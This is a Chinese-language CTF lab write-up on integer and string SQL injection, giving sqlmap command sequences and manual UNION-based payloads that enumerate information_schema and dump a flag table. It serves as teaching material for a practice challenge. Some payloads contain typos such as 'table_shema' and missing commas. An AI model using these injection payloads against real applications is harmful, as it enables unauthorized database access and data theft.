CTFHUB - SQL注入-整数型和字符型注入

目录

一.前言

二.使用工具

三.知识点

四.整数型注入

1. sqlmap工具注入

2.手工注入

知识点

步骤

复现

五.字符型注入

复现

1.手工注入

2.sqlmap注入


一.前言

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

在学习SQL注入时要了解一些MYSQL语 mysql基础学习 在URL上可以进行sql注入

可将SQL注入方式大致分为两类:数字型注入、字符型注入.

CTFHUB - SQL注入-整数型和字符型注入_第1张图片

我使用 sqlmap 都是在kali中终端使用 sqlmap windows 和kali 的语法不要一样

二.使用工具

kali中自带的sqlmap

URL中的sql注入

三.知识点

库 database

表 tables

字段 columns

sqlmap注入代码:

查询注入:sqlmap -u “URL”

爆破出库名和库中的表:sqlmap -u "URL" --tables  (有两个 --)

爆破库的表:sqlmap -u "URL" -D 库名 -tables    (只有一个-)

爆破表中的字段: sqlmap -u "URL" -D 库名 -T 表名 -columns

查询密码:sqlmap -u "URL" -D 库名 -T 表名 -C 字段名 -dump

四.整数型注入

1. sqlmap工具注入

打开环境

CTFHUB - SQL注入-整数型和字符型注入_第2张图片

发现让我们输入一个1试试看 我们进行输入

CTFHUB - SQL注入-整数型和字符型注入_第3张图片

 在我们进行输入后发现 他显示了ID DATA(并且注意在URL上也输入了?id=1说明是GET型)

我们再进行输入2试试看

CTFHUB - SQL注入-整数型和字符型注入_第4张图片

发现又进行了改变于是我们通过SQLMAP进行查询sql注入

查询代码为 sqlmap -u "URL"

CTFHUB - SQL注入-整数型和字符型注入_第5张图片

发现id might be vulnerable 说明 存在注入

CTFHUB - SQL注入-整数型和字符型注入_第6张图片

 执行完成发现爆出了很多信息

于是我们进行爆破库

sqlmap -u "URL" --tables

CTFHUB - SQL注入-整数型和字符型注入_第7张图片

 发现把库爆破出来了 也发现了flag字段

所以我们爆破表 运用 sqlmap -u "URL" --D sqli --T flag -columns

爆破完成 我们现在需要的是让flag中的字段显示出来 于是我们可以运用

sqlmap -u "URL" -D sqli -T flag -C flag --dump 将里面的字段显示出来

CTFHUB - SQL注入-整数型和字符型注入_第8张图片

得到flag 结束该题目

2.手工注入

知识点:

联合查询  union 当我们要sql注入在id后 可以用union将我们要执行的sql注入

schemata : 保存当前服务器里所有数据库的信息 库名
tables : 保存当前服务器里面所有数据表的信息 表名  table _name 数据表名
columns: 保存当前服务器里面所有字段信息 字段名字

要进行报错注入 就是 union前后互补影响 所以输入一个错误的信息 数据库就会回数据给你

所以我们可以输入?id=-1 union select 1,database()  因为数据库没有-1 所以返回select 1

步骤:

1.查看是否有注入点

1 and 1=1

1 and 1=2 如果报错 则有注入点

2.猜有多少个字段

1 order by 1

1 order by 2

3.爆出数据库名

?id=1 and 1=2 union select 1,database()

4.爆出数据库中表的名字

?id=1 and 1=2 union select 1 group_concat(table_name) from information_schema.tables where table_shema="数据库名"

5.从表名中爆破出列名

?id=1 and 1=2 union select 1 group_concat(column_name)from information_schema.columns where table_name="表名"

6.获取flag

?id=1 and 1=2 union select 1 group_concat (flag) from "sqli.flag"

复现:

判断注入点 ?id=1 and 1=1

CTFHUB - SQL注入-整数型和字符型注入_第9张图片

 ?id=1 and 1=2

CTFHUB - SQL注入-整数型和字符型注入_第10张图片

 报错 存在注入点 为 ?id=1 and 1=2

开始猜字段数

?id=1 order by 1

CTFHUB - SQL注入-整数型和字符型注入_第11张图片

没有报错 ?id=1 order by 2

CTFHUB - SQL注入-整数型和字符型注入_第12张图片

 没有报错 ?id=1 order by 3

CTFHUB - SQL注入-整数型和字符型注入_第13张图片

报错 存在2个字段数

开始爆破数据库名字

?id=-1 union select 1,database()   为什么要设置为-1呢

因为我们是要让服务器返回的是select 1,database()的数据 因为服务器没有-1 所以会返回select 1 的内容

CTFHUB - SQL注入-整数型和字符型注入_第14张图片

 得到数据库名字

于是我们开始爆破表名 

?id=-1  union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)   limit 0,1(0,1从数据库地一个开始只拿一个字段)

CTFHUB - SQL注入-整数型和字符型注入_第15张图片

 或者我们可以得到该数据库的所有字段

运用 ?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

CTFHUB - SQL注入-整数型和字符型注入_第16张图片得到字段flag

 于是我们进行爆破字段名

?id=-1 union select 1,group_concat(flag) from sqli.flag

CTFHUB - SQL注入-整数型和字符型注入_第17张图片

到此 整数型注入 结束

五.字符型注入

字符型注入要考虑到 引号闭合 和 注释

复现

1.手工注入

CTFHUB - SQL注入-整数型和字符型注入_第18张图片

 我们继续先输入1

CTFHUB - SQL注入-整数型和字符型注入_第19张图片

 1 and 1=1 

CTFHUB - SQL注入-整数型和字符型注入_第20张图片

 发现不行 为什么呢 我们仔细看下面的返回的代码

select * from news where id='1 and 1=1'

其中 我们想表达的id=1 变成了id='1 我们学计算机就发现 为什么只有一个单引号

于是我们输入 1' and 1=1 尝试一下

CTFHUB - SQL注入-整数型和字符型注入_第21张图片

不报错了

于是我们尝试找注入点 1' and 1=2

CTFHUB - SQL注入-整数型和字符型注入_第22张图片

存在注入点

于是我们接着爆破数据库名

-1' union select 1,database()

CTFHUB - SQL注入-整数型和字符型注入_第23张图片

发现没有出现 报错了 为什么呢 我们看返回的代码

select * from news where id='-1' union select 1,database()'

注意最后面那个为什么会有一个‘在这出现呢 这就是为了防止sql注入而放置的

我们需要绕过这个 怎么绕过呢   我们需要#来把他注释掉

#+任何东西 在后台中都不执行 直接忽略

所以我们用# 注释掉‘

-1' union select 1,database() #

CTFHUB - SQL注入-整数型和字符型注入_第24张图片

 出现了数据库sqli

爆破数据库中的表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

CTFHUB - SQL注入-整数型和字符型注入_第25张图片得到表名 

从表中得到flag

-1' union select 1,group_concat(flag) from sqli.flag #

CTFHUB - SQL注入-整数型和字符型注入_第26张图片

 得到flag

2.sqlmap注入

复制URL

sqlmap -u "URL" --tables

CTFHUB - SQL注入-整数型和字符型注入_第27张图片

出现数据库 并且发现flag

爆破表

sqlmap -u "URL" -D sqli -T flag -columns

CTFHUB - SQL注入-整数型和字符型注入_第28张图片

 爆破出来了

然后得到结果即可

sqlmap -u "URL" -D sqli -T flag -C flag --dump

得到flag

到此 SQL注入的整数型和字符型结束

你可能感兴趣的:(sql,数据库,mysql)